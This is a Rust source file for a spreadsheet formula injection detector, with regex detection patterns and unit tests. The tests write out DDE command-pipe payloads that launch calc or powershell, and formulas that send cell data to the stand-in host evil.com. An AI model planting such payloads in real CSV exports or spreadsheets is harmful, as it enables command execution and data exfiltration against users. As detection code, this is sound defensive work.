use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
use regex::Regex;
use std::sync::LazyLock;
const AT_FUNCS: &str = "SUM|HYPERLINK|IMPORTXML|IMPORTDATA|IMPORTRANGE|IMPORTFEED|WEBSERVICE|FILTERXML|RTD|EXEC|AVERAGE|COUNT|MIN|MAX";
static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
vec![
Regex::new(r"(?im)(?:^|[,;])[ \t]*[=+\-@][ \t]*cmd\|").unwrap(),
Regex::new(r"(?im)(?:^|[,;])[ \t]*[=+\-@][ \t]*(?:HYPERLINK|IMPORTXML|IMPORTDATA|IMPORTRANGE|IMPORTFEED|WEBSERVICE|FILTERXML|RTD|EXEC)[ \t]*\(").unwrap(),
Regex::new(r"(?im)(?:^|[,;])[ \t]*[=+\-@][^\n|]{0,120}\|[^\n]{0,120}[^ \t\n]![A-Z]{1,3}\$?\d{1,5}").unwrap(),
Regex::new(r"(?i)\bDDE[ \t]*\(").unwrap(),
Regex::new(&[r"(?m)(?:^|[,;])[ \t]*@[ \t]*(?:", AT_FUNCS, r")[ \t]*\("].concat()).unwrap(),
]
});
pub struct FormulaInjectionDetector;
impl Detector for FormulaInjectionDetector {
fn name(&self) -> &'static str {
"formula_injection"
}
fn detect(&self, input: &str) -> Option<DetectionResult> {
regex_detect(
&PATTERNS,
self.name(),
AttackCategory::Data,
Severity::High,
"Spreadsheet formula injection detected",
input,
)
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::test_helpers::{assert_clean, assert_detected};
fn det() -> FormulaInjectionDetector {
FormulaInjectionDetector
}
fn assert_hit(input: &str) {
assert_detected(&det(), input, AttackCategory::Data, Severity::High);
}
#[test]
fn name_is_formula_injection() {
assert_eq!(det().name(), "formula_injection");
}
#[test]
fn detects_command_pipe_and_dde_cell_ref() {
for input in [
"=cmd|' /C calc'!A0",
"=cmd|'/C powershell'!A1",
"+cmd|' /C calc'!A0",
"@cmd|' /C calc'!A0",
"=rundll32|'javascript:alert(1)'!A0",
"=2+5+cmd|' /C calc'!A0",
] {
assert_hit(input);
}
}
#[test]
fn detects_data_exfiltration_functions() {
for input in [
r#"=HYPERLINK("http://evil.com?x="&A1,"click")"#,
r#"=IMPORTXML("http://evil.com","//x")"#,
r#"=IMPORTDATA("http://evil.com/x.csv")"#,
r#"=IMPORTRANGE("http://evil.com","Sheet1!A1")"#,
r#"=WEBSERVICE("http://evil.com")"#,
r#"=FILTERXML("http://evil.com","//x")"#,
r#"=RTD("foo.bar",,"x")"#,
r#"=EXEC("calc")"#,
r#"= HYPERLINK("http://evil.com")"#,
] {
assert_hit(input);
}
}
#[test]
fn detects_legacy_at_formulas_and_dde() {
for input in [
"@SUM(1+1)*cmd|' /C calc'!A0",
"@SUM(1+1)",
"@HYPERLINK(\"http://evil.com\")",
r#"DDE("cmd";"/C calc";"!A0")"#,
"=DDE(\"cmd\",\"/C calc\")",
] {
assert_hit(input);
}
}
#[test]
fn detects_payload_in_multiline_csv() {
let csv = "name,email\nadmin,=cmd|' /C calc'!A0\nbob,bob@x.com";
let r = det().detect(csv).expect("expected detection");
assert_eq!(r.attack_type, "formula_injection");
assert!(
r.matched_pattern.contains("=cmd|"),
"matched_pattern 应覆盖载荷: {:?}",
r.matched_pattern
);
assert_eq!(
&csv[r.offset..r.offset + r.matched_pattern.len()],
r.matched_pattern
);
}
#[test]
fn ignores_doc_commands_and_annotations() {
for input in ["- cmd | run the build", "- CMD | echo hi", "| cmd | 说明"] {
assert_clean(&det(), input);
}
for input in [
"@GET(\"/users\")",
"@POST(\"/users\")",
"@DELETE(\"/users/1\")",
"@TODO(清理临时文件)",
"@FIXME(x)",
] {
assert_clean(&det(), input);
}
assert_clean(&det(), "- 参见 RFC 1234 | 以及 !A1");
}
#[test]
fn spaced_cmd_pipe_still_caught_by_cell_ref_pattern() {
for input in [
"=cmd|' /C calc'!A0",
"=cmd | ' /C calc'!A0",
"+cmd|'/C powershell'!A1",
] {
assert_hit(input);
}
}
#[test]
fn legacy_at_functions_still_detected() {
for input in [
"@SUM(1+1)",
"@HYPERLINK(\"http://evil.com\")",
"@AVERAGE(B1:B9)",
] {
assert_hit(input);
}
}
#[test]
fn ignores_benign_inputs() {
for input in [
"Hello, this is a normal text input. Nothing suspicious here.",
"= 5",
"-3 度",
"+1 more item",
"@alice 你好",
"a@b.com",
"contact: alice@example.com",
"cost is -20 dollars",
"=SUM(A1:A5) 是求和公式",
"=AVERAGE(B1:B9)",
"@media (max-width: 600px)",
"user[name]=alice",
"价格从 -5 到 +5 不等",
] {
assert_clean(&det(), input);
}
}
#[test]
fn plain_sum_is_left_to_the_coarse_tier() {
use crate::data::CsvInjectionDetector;
for input in ["=SUM(A1:A5)", "=SUM(A1:A5) 是求和公式", "=1+1"] {
assert_clean(&det(), input);
assert!(
CsvInjectionDetector.detect(input).is_some(),
"csv_injection 粗粒度层应仍命中: {input}"
);
}
}
#[test]
fn edge_cases() {
assert_clean(&det(), "");
assert_clean(&det(), " ");
assert_clean(&det(), "你好世界 こんにちは");
assert_clean(&det(), "a=cmd|' /C calc'!A0");
assert_hit("admin,=cmd|' /C calc'!A0");
assert_hit("x;=HYPERLINK(\"http://evil.com\")");
assert_clean(&det(), "=foo|bar");
assert_clean(&det(), "baddle(");
}
}